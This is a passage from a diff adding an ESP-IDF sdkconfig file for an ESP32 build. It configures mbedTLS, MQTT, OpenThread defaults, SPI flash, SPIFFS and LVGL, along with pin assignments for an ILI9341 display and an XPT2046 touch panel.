+CONFIG_MBEDTLS_ECP_C=y +# CONFIG_MBEDTLS_DHM_C is not set +CONFIG_MBEDTLS_ECDH_C=y +CONFIG_MBEDTLS_ECDSA_C=y +# CONFIG_MBEDTLS_ECJPAKE_C is not set +CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED=y +CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED=y +CONFIG_MBEDTLS_ECP_NIST_OPTIM=y +CONFIG_MBEDTLS_ECP_FIXED_POINT_OPTIM=y +# CONFIG_MBEDTLS_POLY1305_C is not set +# CONFIG_MBEDTLS_CHACHA20_C is not set +# CONFIG_MBEDTLS_HKDF_C is not set +# CONFIG_MBEDTLS_THREADING_C is not set +CONFIG_MBEDTLS_ERROR_STRINGS=y +# end of mbedTLS + +# +# ESP-MQTT Configurations +# +CONFIG_MQTT_PROTOCOL_311=y +# CONFIG_MQTT_PROTOCOL_5 is not set +CONFIG_MQTT_TRANSPORT_SSL=y +CONFIG_MQTT_TRANSPORT_WEBSOCKET=y +CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE=y +# CONFIG_MQTT_MSG_ID_INCREMENTAL is not set +# CONFIG_MQTT_SKIP_PUBLISH_IF_DISCONNECTED is not set +# CONFIG_MQTT_REPORT_DELETED_MESSAGES is not set +# CONFIG_MQTT_USE_CUSTOM_CONFIG is not set +# CONFIG_MQTT_TASK_CORE_SELECTION_ENABLED is not set +# CONFIG_MQTT_CUSTOM_OUTBOX is not set +# end of ESP-MQTT Configurations + +# +# Newlib +# +CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y +# CONFIG_NEWLIB_STDOUT_LINE_ENDING_LF is not set +# CONFIG_NEWLIB_STDOUT_LINE_ENDING_CR is not set +# CONFIG_NEWLIB_STDIN_LINE_ENDING_CRLF is not set +# CONFIG_NEWLIB_STDIN_LINE_ENDING_LF is not set +CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y +# CONFIG_NEWLIB_NANO_FORMAT is not set +CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT=y +# CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC is not set +# CONFIG_NEWLIB_TIME_SYSCALL_USE_HRT is not set +# CONFIG_NEWLIB_TIME_SYSCALL_USE_NONE is not set +# end of Newlib + +# +# NVS +# +# CONFIG_NVS_ASSERT_ERROR_CHECK is not set +# CONFIG_NVS_LEGACY_DUP_KEYS_COMPATIBILITY is not set +# end of NVS + +# +# OpenThread +# +# CONFIG_OPENTHREAD_ENABLED is not set + +# +# Thread Operational Dataset +# +CONFIG_OPENTHREAD_NETWORK_NAME="OpenThread-ESP" +CONFIG_OPENTHREAD_MESH_LOCAL_PREFIX="fd00:db8:a0:0::/64" +CONFIG_OPENTHREAD_NETWORK_CHANNEL=15 +CONFIG_OPENTHREAD_NETWORK_PANID=0x1234 +CONFIG_OPENTHREAD_NETWORK_EXTPANID="dead00beef00cafe" +CONFIG_OPENTHREAD_NETWORK_MASTERKEY="00112233445566778899aabbccddeeff" +CONFIG_OPENTHREAD_NETWORK_PSKC="104810e2315100afd6bc9215a6bfac53" +# end of Thread Operational Dataset + +CONFIG_OPENTHREAD_XTAL_ACCURACY=130 +# CONFIG_OPENTHREAD_SPINEL_ONLY is not set +# CONFIG_OPENTHREAD_RX_ON_WHEN_IDLE is not set + +# +# Thread Address Query Config +# +# end of Thread Address Query Config +# end of OpenThread + +# +# Protocomm +# +CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_0=y +CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_1=y +CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_2=y +# end of Protocomm + +# +# PThreads +# +CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5 +CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 +CONFIG_PTHREAD_STACK_MIN=768 +CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1 +CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread" +# end of PThreads + +# +# MMU Config +# +CONFIG_MMU_PAGE_SIZE_64KB=y +CONFIG_MMU_PAGE_MODE="64KB" +CONFIG_MMU_PAGE_SIZE=0x10000 +# end of MMU Config + +# +# Main Flash configuration +# + +# +# SPI Flash behavior when brownout +# +CONFIG_SPI_FLASH_BROWNOUT_RESET_XMC=y +CONFIG_SPI_FLASH_BROWNOUT_RESET=y +# end of SPI Flash behavior when brownout + +# +# Optional and Experimental Features (READ DOCS FIRST) +# + +# +# Features here require specific hardware (READ DOCS FIRST!) +# +CONFIG_SPI_FLASH_SUSPEND_TSUS_VAL_US=50 +# end of Optional and Experimental Features (READ DOCS FIRST) +# end of Main Flash configuration + +# +# SPI Flash driver +# +# CONFIG_SPI_FLASH_VERIFY_WRITE is not set +# CONFIG_SPI_FLASH_ENABLE_COUNTERS is not set +CONFIG_SPI_FLASH_ROM_DRIVER_PATCH=y +CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS=y +# CONFIG_SPI_FLASH_DANGEROUS_WRITE_FAILS is not set +# CONFIG_SPI_FLASH_DANGEROUS_WRITE_ALLOWED is not set +# CONFIG_SPI_FLASH_SHARE_SPI1_BUS is not set +# CONFIG_SPI_FLASH_BYPASS_BLOCK_ERASE is not set +CONFIG_SPI_FLASH_YIELD_DURING_ERASE=y +CONFIG_SPI_FLASH_ERASE_YIELD_DURATION_MS=20 +CONFIG_SPI_FLASH_ERASE_YIELD_TICKS=1 +CONFIG_SPI_FLASH_WRITE_CHUNK_SIZE=8192 +# CONFIG_SPI_FLASH_SIZE_OVERRIDE is not set +# CONFIG_SPI_FLASH_CHECK_ERASE_TIMEOUT_DISABLED is not set +# CONFIG_SPI_FLASH_OVERRIDE_CHIP_DRIVER_LIST is not set + +# +# Auto-detect flash chips +# +CONFIG_SPI_FLASH_VENDOR_XMC_SUPPORTED=y +CONFIG_SPI_FLASH_VENDOR_GD_SUPPORTED=y +CONFIG_SPI_FLASH_VENDOR_ISSI_SUPPORTED=y +CONFIG_SPI_FLASH_VENDOR_MXIC_SUPPORTED=y +CONFIG_SPI_FLASH_VENDOR_WINBOND_SUPPORTED=y +# CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP is not set +# CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP is not set +# CONFIG_SPI_FLASH_SUPPORT_GD_CHIP is not set +# CONFIG_SPI_FLASH_SUPPORT_WINBOND_CHIP is not set +# CONFIG_SPI_FLASH_SUPPORT_BOYA_CHIP is not set +# CONFIG_SPI_FLASH_SUPPORT_TH_CHIP is not set +# end of Auto-detect flash chips + +CONFIG_SPI_FLASH_ENABLE_ENCRYPTED_READ_WRITE=y +# end of SPI Flash driver + +# +# SPIFFS Configuration +# +CONFIG_SPIFFS_MAX_PARTITIONS=3 + +# +# SPIFFS Cache Configuration +# +CONFIG_SPIFFS_CACHE=y +CONFIG_SPIFFS_CACHE_WR=y +# CONFIG_SPIFFS_CACHE_STATS is not set +# end of SPIFFS Cache Configuration + +CONFIG_SPIFFS_PAGE_CHECK=y +CONFIG_SPIFFS_GC_MAX_RUNS=10 +# CONFIG_SPIFFS_GC_STATS is not set +CONFIG_SPIFFS_PAGE_SIZE=256 +CONFIG_SPIFFS_OBJ_NAME_LEN=32 +# CONFIG_SPIFFS_FOLLOW_SYMLINKS is not set +CONFIG_SPIFFS_USE_MAGIC=y +CONFIG_SPIFFS_USE_MAGIC_LENGTH=y +CONFIG_SPIFFS_META_LENGTH=4 +CONFIG_SPIFFS_USE_MTIME=y + +# +# Debug Configuration +# +# CONFIG_SPIFFS_DBG is not set +# CONFIG_SPIFFS_API_DBG is not set +# CONFIG_SPIFFS_GC_DBG is not set +# CONFIG_SPIFFS_CACHE_DBG is not set +# CONFIG_SPIFFS_CHECK_DBG is not set +# CONFIG_SPIFFS_TEST_VISUALISATION is not set +# end of Debug Configuration +# end of SPIFFS Configuration + +# +# TCP Transport +# + +# +# Websocket +# +CONFIG_WS_TRANSPORT=y +CONFIG_WS_BUFFER_SIZE=1024 +# CONFIG_WS_DYNAMIC_BUFFER is not set +# end of Websocket +# end of TCP Transport + +# +# Ultra Low Power (ULP) Co-processor +# +# CONFIG_ULP_COPROC_ENABLED is not set + +# +# ULP Debugging Options +# +# end of ULP Debugging Options +# end of Ultra Low Power (ULP) Co-processor + +# +# Unity unit testing library +# +CONFIG_UNITY_ENABLE_FLOAT=y +CONFIG_UNITY_ENABLE_DOUBLE=y +# CONFIG_UNITY_ENABLE_64BIT is not set +# CONFIG_UNITY_ENABLE_COLOR is not set +CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y +# CONFIG_UNITY_ENABLE_FIXTURE is not set +# CONFIG_UNITY_ENABLE_BACKTRACE_ON_FAIL is not set +# end of Unity unit testing library + +# +# Virtual file system +# +CONFIG_VFS_SUPPORT_IO=y +CONFIG_VFS_SUPPORT_DIR=y +CONFIG_VFS_SUPPORT_SELECT=y +CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT=y +# CONFIG_VFS_SELECT_IN_RAM is not set +CONFIG_VFS_SUPPORT_TERMIOS=y +CONFIG_VFS_MAX_COUNT=8 + +# +# Host File System I/O (Semihosting) +# +CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS=1 +# end of Host File System I/O (Semihosting) +# end of Virtual file system + +# +# Wear Levelling +# +# CONFIG_WL_SECTOR_SIZE_512 is not set +CONFIG_WL_SECTOR_SIZE_4096=y +CONFIG_WL_SECTOR_SIZE=4096 +# end of Wear Levelling + +# +# Wi-Fi Provisioning Manager +# +CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES=16 +CONFIG_WIFI_PROV_AUTOSTOP_TIMEOUT=30 +# CONFIG_WIFI_PROV_BLE_BONDING is not set +CONFIG_WIFI_PROV_BLE_SEC_CONN=y +# CONFIG_WIFI_PROV_BLE_FORCE_ENCRYPTION is not set +# CONFIG_WIFI_PROV_KEEP_BLE_ON_AFTER_PROV is not set +CONFIG_WIFI_PROV_STA_ALL_CHANNEL_SCAN=y +# CONFIG_WIFI_PROV_STA_FAST_SCAN is not set +# end of Wi-Fi Provisioning Manager + +# +# LVGL configuration +# +CONFIG_LV_CONF_SKIP=y +# CONFIG_LV_CONF_MINIMAL is not set + +# +# Color settings +# +# CONFIG_LV_COLOR_DEPTH_32 is not set +CONFIG_LV_COLOR_DEPTH_16=y +# CONFIG_LV_COLOR_DEPTH_8 is not set +# CONFIG_LV_COLOR_DEPTH_1 is not set +CONFIG_LV_COLOR_DEPTH=16 +CONFIG_LV_COLOR_16_SWAP=y +# CONFIG_LV_COLOR_SCREEN_TRANSP is not set +CONFIG_LV_COLOR_MIX_ROUND_OFS=128 +CONFIG_LV_COLOR_CHROMA_KEY_HEX=0x00FF00 +# end of Color settings + +# +# Memory settings +# +# CONFIG_LV_MEM_CUSTOM is not set +CONFIG_LV_MEM_SIZE_KILOBYTES=32 +CONFIG_LV_MEM_ADDR=0x0 +CONFIG_LV_MEM_BUF_MAX_NUM=16 +# CONFIG_LV_MEMCPY_MEMSET_STD is not set +# end of Memory settings + +# +# HAL Settings +# +CONFIG_LV_DISP_DEF_REFR_PERIOD=5 +CONFIG_LV_INDEV_DEF_READ_PERIOD=30 +# CONFIG_LV_TICK_CUSTOM is not set +CONFIG_LV_DPI_DEF=130 +# end of HAL Settings + +# +# Feature configuration +# + +# +# Drawing +# +CONFIG_LV_DRAW_COMPLEX=y +CONFIG_LV_SHADOW_CACHE_SIZE=0 +CONFIG_LV_CIRCLE_CACHE_SIZE=4 +CONFIG_LV_LAYER_SIMPLE_BUF_SIZE=24576 +CONFIG_LV_IMG_CACHE_DEF_SIZE=0 +CONFIG_LV_GRADIENT_MAX_STOPS=2 +CONFIG_LV_GRAD_CACHE_DEF_SIZE=0 +# CONFIG_LV_DITHER_GRADIENT is not set +CONFIG_LV_DISP_ROT_MAX_BUF=10240 +# end of Drawing + +# +# GPU +# +# CONFIG_LV_USE_GPU_ARM2D is not set +# CONFIG_LV_USE_GPU_STM32_DMA2D is not set +# CONFIG_LV_USE_GPU_RA6M3_G2D is not set +# CONFIG_LV_USE_GPU_SWM341_DMA2D is not set +# CONFIG_LV_USE_GPU_NXP_PXP is not set +# CONFIG_LV_USE_GPU_NXP_VG_LITE is not set +# CONFIG_LV_USE_GPU_SDL is not set +# end of GPU + +# +# Logging +# +# CONFIG_LV_USE_LOG is not set +# end of Logging + +# +# Asserts +# +CONFIG_LV_USE_ASSERT_NULL=y +CONFIG_LV_USE_ASSERT_MALLOC=y +# CONFIG_LV_USE_ASSERT_STYLE is not set +# CONFIG_LV_USE_ASSERT_MEM_INTEGRITY is not set +# CONFIG_LV_USE_ASSERT_OBJ is not set +CONFIG_LV_ASSERT_HANDLER_INCLUDE="assert.h" +# end of Asserts + +# +# Others +# +# CONFIG_LV_USE_PERF_MONITOR is not set +# CONFIG_LV_USE_MEM_MONITOR is not set +# CONFIG_LV_USE_REFR_DEBUG is not set +# CONFIG_LV_SPRINTF_CUSTOM is not set +# CONFIG_LV_SPRINTF_USE_FLOAT is not set +CONFIG_LV_USE_USER_DATA=y +# CONFIG_LV_ENABLE_GC is not set +# end of Others + +# +# Compiler settings +# +# CONFIG_LV_BIG_ENDIAN_SYSTEM is not set +CONFIG_LV_ATTRIBUTE_MEM_ALIGN_SIZE=1 +# CONFIG_LV_ATTRIBUTE_FAST_MEM_USE_IRAM is not set +# CONFIG_LV_USE_LARGE_COORD is not set +# end of Compiler settings +# end of Feature configuration + +# +# Font usage +# + +# +# Enable built-in fonts +# +CONFIG_LV_FONT_MONTSERRAT_8=y +CONFIG_LV_FONT_MONTSERRAT_10=y +CONFIG_LV_FONT_MONTSERRAT_12=y +CONFIG_LV_FONT_MONTSERRAT_14=y +CONFIG_LV_FONT_MONTSERRAT_16=y +CONFIG_LV_FONT_MONTSERRAT_18=y +# CONFIG_LV_FONT_MONTSERRAT_20 is not set +# CONFIG_LV_FONT_MONTSERRAT_22 is not set +CONFIG_LV_FONT_MONTSERRAT_24=y +# CONFIG_LV_FONT_MONTSERRAT_26 is not set +# CONFIG_LV_FONT_MONTSERRAT_28 is not set +# CONFIG_LV_FONT_MONTSERRAT_30 is not set +# CONFIG_LV_FONT_MONTSERRAT_32 is not set +# CONFIG_LV_FONT_MONTSERRAT_34 is not set +# CONFIG_LV_FONT_MONTSERRAT_36 is not set +# CONFIG_LV_FONT_MONTSERRAT_38 is not set +# CONFIG_LV_FONT_MONTSERRAT_40 is not set +# CONFIG_LV_FONT_MONTSERRAT_42 is not set +# CONFIG_LV_FONT_MONTSERRAT_44 is not set +# CONFIG_LV_FONT_MONTSERRAT_46 is not set +# CONFIG_LV_FONT_MONTSERRAT_48 is not set +# CONFIG_LV_FONT_MONTSERRAT_12_SUBPX is not set +# CONFIG_LV_FONT_MONTSERRAT_28_COMPRESSED is not set +# CONFIG_LV_FONT_DEJAVU_16_PERSIAN_HEBREW is not set +# CONFIG_LV_FONT_SIMSUN_16_CJK is not set +# CONFIG_LV_FONT_UNSCII_8 is not set +# CONFIG_LV_FONT_UNSCII_16 is not set +# CONFIG_LV_FONT_CUSTOM is not set +# end of Enable built-in fonts + +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_8 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_12 is not set +CONFIG_LV_FONT_DEFAULT_MONTSERRAT_14=y +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_16 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_18 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_20 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_22 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_24 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_26 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_28 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_30 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_32 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_34 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_36 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_38 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_40 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_42 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_44 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_46 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_48 is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_12_SUBPX is not set +# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_28_COMPRESSED is not set +# CONFIG_LV_FONT_DEFAULT_DEJAVU_16_PERSIAN_HEBREW is not set +# CONFIG_LV_FONT_DEFAULT_SIMSUN_16_CJK is not set +# CONFIG_LV_FONT_DEFAULT_UNSCII_8 is not set +# CONFIG_LV_FONT_DEFAULT_UNSCII_16 is not set +# CONFIG_LV_FONT_FMT_TXT_LARGE is not set +# CONFIG_LV_USE_FONT_COMPRESSED is not set +# CONFIG_LV_USE_FONT_SUBPX is not set +CONFIG_LV_USE_FONT_PLACEHOLDER=y +# end of Font usage + +# +# Text Settings +# +CONFIG_LV_TXT_ENC_UTF8=y +# CONFIG_LV_TXT_ENC_ASCII is not set +CONFIG_LV_TXT_BREAK_CHARS=" ,.;:-_" +CONFIG_LV_TXT_LINE_BREAK_LONG_LEN=0 +CONFIG_LV_TXT_COLOR_CMD="#" +# CONFIG_LV_USE_BIDI is not set +# CONFIG_LV_USE_ARABIC_PERSIAN_CHARS is not set +# end of Text Settings + +# +# Widget usage +# +CONFIG_LV_USE_ARC=y +CONFIG_LV_USE_BAR=y +CONFIG_LV_USE_BTN=y +CONFIG_LV_USE_BTNMATRIX=y +CONFIG_LV_USE_CANVAS=y +CONFIG_LV_USE_CHECKBOX=y +CONFIG_LV_USE_DROPDOWN=y +CONFIG_LV_USE_IMG=y +CONFIG_LV_USE_LABEL=y +CONFIG_LV_LABEL_TEXT_SELECTION=y +CONFIG_LV_LABEL_LONG_TXT_HINT=y +CONFIG_LV_USE_LINE=y +CONFIG_LV_USE_ROLLER=y +CONFIG_LV_ROLLER_INF_PAGES=7 +CONFIG_LV_USE_SLIDER=y +CONFIG_LV_USE_SWITCH=y +CONFIG_LV_USE_TEXTAREA=y +CONFIG_LV_TEXTAREA_DEF_PWD_SHOW_TIME=1500 +CONFIG_LV_USE_TABLE=y +# end of Widget usage + +# +# Extra Widgets +# +CONFIG_LV_USE_ANIMIMG=y +CONFIG_LV_USE_CALENDAR=y +# CONFIG_LV_CALENDAR_WEEK_STARTS_MONDAY is not set +CONFIG_LV_USE_CALENDAR_HEADER_ARROW=y +CONFIG_LV_USE_CALENDAR_HEADER_DROPDOWN=y +CONFIG_LV_USE_CHART=y +CONFIG_LV_USE_COLORWHEEL=y +CONFIG_LV_USE_IMGBTN=y +CONFIG_LV_USE_KEYBOARD=y +CONFIG_LV_USE_LED=y +CONFIG_LV_USE_LIST=y +CONFIG_LV_USE_MENU=y +CONFIG_LV_USE_METER=y +CONFIG_LV_USE_MSGBOX=y +CONFIG_LV_USE_SPAN=y +CONFIG_LV_SPAN_SNIPPET_STACK_SIZE=64 +CONFIG_LV_USE_SPINBOX=y +CONFIG_LV_USE_SPINNER=y +CONFIG_LV_USE_TABVIEW=y +CONFIG_LV_USE_TILEVIEW=y +CONFIG_LV_USE_WIN=y +# end of Extra Widgets + +# +# Themes +# +CONFIG_LV_USE_THEME_DEFAULT=y +# CONFIG_LV_THEME_DEFAULT_DARK is not set +CONFIG_LV_THEME_DEFAULT_GROW=y +CONFIG_LV_THEME_DEFAULT_TRANSITION_TIME=80 +CONFIG_LV_USE_THEME_BASIC=y +# CONFIG_LV_USE_THEME_MONO is not set +# end of Themes + +# +# Layouts +# +CONFIG_LV_USE_FLEX=y +CONFIG_LV_USE_GRID=y +# end of Layouts + +# +# 3rd Party Libraries +# +# CONFIG_LV_USE_FS_STDIO is not set +# CONFIG_LV_USE_FS_POSIX is not set +# CONFIG_LV_USE_FS_WIN32 is not set +# CONFIG_LV_USE_FS_FATFS is not set +# CONFIG_LV_USE_FS_LITTLEFS is not set +# CONFIG_LV_USE_PNG is not set +# CONFIG_LV_USE_BMP is not set +# CONFIG_LV_USE_SJPG is not set +CONFIG_LV_USE_GIF=y +# CONFIG_LV_USE_QRCODE is not set +# CONFIG_LV_USE_FREETYPE is not set +# CONFIG_LV_USE_TINY_TTF is not set +# CONFIG_LV_USE_RLOTTIE is not set +# CONFIG_LV_USE_FFMPEG is not set +# end of 3rd Party Libraries + +# +# Others +# +CONFIG_LV_USE_SNAPSHOT=y +# CONFIG_LV_USE_MONKEY is not set +# CONFIG_LV_USE_GRIDNAV is not set +# CONFIG_LV_USE_FRAGMENT is not set +# CONFIG_LV_USE_IMGFONT is not set +# CONFIG_LV_USE_MSG is not set +# CONFIG_LV_USE_IME_PINYIN is not set +# end of Others + +# +# Examples +# +# CONFIG_LV_BUILD_EXAMPLES is not set +# end of Examples + +# +# Demos +# +# CONFIG_LV_USE_DEMO_WIDGETS is not set +# CONFIG_LV_USE_DEMO_KEYPAD_AND_ENCODER is not set +# CONFIG_LV_USE_DEMO_BENCHMARK is not set +# CONFIG_LV_USE_DEMO_STRESS is not set +# CONFIG_LV_USE_DEMO_MUSIC is not set +# end of Demos +# end of LVGL configuration + +# +# LVGL ESP Drivers +# + +# +# LVGL TFT Display controller +# +CONFIG_LV_PREDEFINED_DISPLAY_NONE=y +# CONFIG_LV_PREDEFINED_DISPLAY_WROVER4 is not set +# CONFIG_LV_PREDEFINED_DISPLAY_M5STACK is not set +# CONFIG_LV_PREDEFINED_DISPLAY_M5CORE2 is not set +# CONFIG_LV_PREDEFINED_DISPLAY_M5STICK is not set +# CONFIG_LV_PREDEFINED_DISPLAY_M5STICKC is not set +# CONFIG_LV_PREDEFINED_DISPLAY_ERTFT0356 is not set +# CONFIG_LV_PREDEFINED_DISPLAY_ADA_FEATHERWING is not set +# CONFIG_LV_PREDEFINED_DISPLAY_RPI_MPI3501 is not set +# CONFIG_LV_PREDEFINED_DISPLAY_WEMOS_LOLIN is not set +# CONFIG_LV_PREDEFINED_DISPLAY_ATAG is not set +# CONFIG_LV_PREDEFINED_DISPLAY_RPI_RA8875 is not set +# CONFIG_LV_PREDEFINED_DISPLAY_TTGO is not set +# CONFIG_LV_PREDEFINED_DISPLAY_TTGO_CAMERA_PLUS is not set +# CONFIG_LV_PREDEFINED_DISPLAY_WT32_SC01 is not set +CONFIG_LV_TFT_DISPLAY_CONTROLLER_ILI9341=y +CONFIG_LV_TFT_DISPLAY_PROTOCOL_SPI=y +CONFIG_LV_HOR_RES_MAX=240 +CONFIG_LV_VER_RES_MAX=320 +CONFIG_LV_DISPLAY_ORIENTATION_PORTRAIT=y +# CONFIG_LV_DISPLAY_ORIENTATION_PORTRAIT_INVERTED is not set +# CONFIG_LV_DISPLAY_ORIENTATION_LANDSCAPE is not set +# CONFIG_LV_DISPLAY_ORIENTATION_LANDSCAPE_INVERTED is not set +CONFIG_LV_DISPLAY_ORIENTATION=0 +CONFIG_LV_PREDEFINED_PINS_NONE=y +# CONFIG_LV_PREDEFINED_PINS_38V4 is not set +# CONFIG_LV_PREDEFINED_PINS_30 is not set +# CONFIG_LV_PREDEFINED_PINS_38V1 is not set +# CONFIG_LV_PREDEFINED_PINS_TKOALA is not set +CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ILI9341=y +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ILI9481 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ILI9486 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ILI9488 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ST7789 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ST7796S is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_GC9A01 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ST7735S is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_HX8357 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_SH1107 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_SSD1306 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_FT81X is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_IL3820 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_JD79653A is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_UC8151D is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_RA8875 is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_ILI9163C is not set +# CONFIG_LV_TFT_DISPLAY_USER_CONTROLLER_PCD8544 is not set +# CONFIG_CUSTOM_DISPLAY_BUFFER_SIZE is not set +CONFIG_LV_TFT_DISPLAY_SPI2_HOST=y +# CONFIG_LV_TFT_DISPLAY_SPI3_HOST is not set +CONFIG_LV_TFT_DISPLAY_SPI_TRANS_MODE_SIO=y +# CONFIG_LV_TFT_DISPLAY_SPI_TRANS_MODE_DIO is not set +# CONFIG_LV_TFT_DISPLAY_SPI_TRANS_MODE_QIO is not set +CONFIG_LV_TFT_DISPLAY_SPI_HALF_DUPLEX=y +# CONFIG_LV_TFT_DISPLAY_SPI_FULL_DUPLEX is not set +CONFIG_LV_TFT_USE_CUSTOM_SPI_CLK_DIVIDER=y +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_1 is not set +CONFIG_LV_TFT_SPI_CLK_DIVIDER_2=y +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_3 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_4 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_5 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_6 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_7 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_8 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_9 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_10 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_12 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_16 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_20 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_24 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_32 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_40 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_48 is not set +# CONFIG_LV_TFT_SPI_CLK_DIVIDER_80 is not set +CONFIG_LV_TFT_CUSTOM_SPI_CLK_DIVIDER=2 +# CONFIG_LV_INVERT_COLORS is not set + +# +# Display Pin Assignments +# +CONFIG_LV_DISP_SPI_MOSI=13 +# CONFIG_LV_DISPLAY_USE_SPI_MISO is not set +CONFIG_LV_DISP_SPI_CLK=14 +CONFIG_LV_DISPLAY_USE_SPI_CS=y +CONFIG_LV_DISP_SPI_CS=15 +CONFIG_LV_DISPLAY_USE_DC=y +CONFIG_LV_DISP_PIN_DC=2 +# CONFIG_LV_DISP_USE_RST is not set +CONFIG_LV_DISP_PIN_BUSY=35 +# end of Display Pin Assignments + +# CONFIG_LV_DISP_BACKLIGHT_OFF is not set +CONFIG_LV_DISP_BACKLIGHT_SWITCH=y +# CONFIG_LV_DISP_BACKLIGHT_PWM is not set +CONFIG_LV_BACKLIGHT_ACTIVE_LVL=y +CONFIG_LV_DISP_PIN_BCKL=27 +CONFIG_LV_I2C_DISPLAY_PORT=0 +# end of LVGL TFT Display controller + +# +# LVGL Touch controller +# +CONFIG_LV_TOUCH_CONTROLLER=1 +# CONFIG_LV_TOUCH_CONTROLLER_NONE is not set +CONFIG_LV_TOUCH_CONTROLLER_XPT2046=y +# CONFIG_LV_TOUCH_CONTROLLER_FT6X06 is not set +# CONFIG_LV_TOUCH_CONTROLLER_STMPE610 is not set +# CONFIG_LV_TOUCH_CONTROLLER_ADCRAW is not set +# CONFIG_LV_TOUCH_CONTROLLER_FT81X is not set +# CONFIG_LV_TOUCH_CONTROLLER_RA8875 is not set +# CONFIG_LV_TOUCH_CONTROLLER_GT911 is not set +CONFIG_LV_TOUCH_DRIVER_PROTOCOL_SPI=y +CONFIG_LV_TOUCH_CONTROLLER_SPI2_HOST=y +# CONFIG_LV_TOUCH_CONTROLLER_SPI3_HOST is not set + +# +# Touchpanel (XPT2046) Pin Assignments +# +CONFIG_LV_TOUCH_SPI_MISO=13 +CONFIG_LV_TOUCH_SPI_MOSI=12 +CONFIG_LV_TOUCH_SPI_CLK=14 